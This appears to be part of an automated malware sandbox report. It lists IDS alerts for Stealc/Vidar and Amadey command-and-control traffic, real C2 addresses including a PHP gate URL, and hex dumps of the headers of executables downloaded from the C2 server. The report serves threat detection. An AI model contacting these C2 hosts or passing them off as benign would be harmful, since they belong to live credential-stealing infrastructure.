Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49712
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49712
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50097 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:50098

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 08:55:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 08:55:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 08:55:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 08:55:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 08:55:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 08:55:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 15 Nov 2024 08:55:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 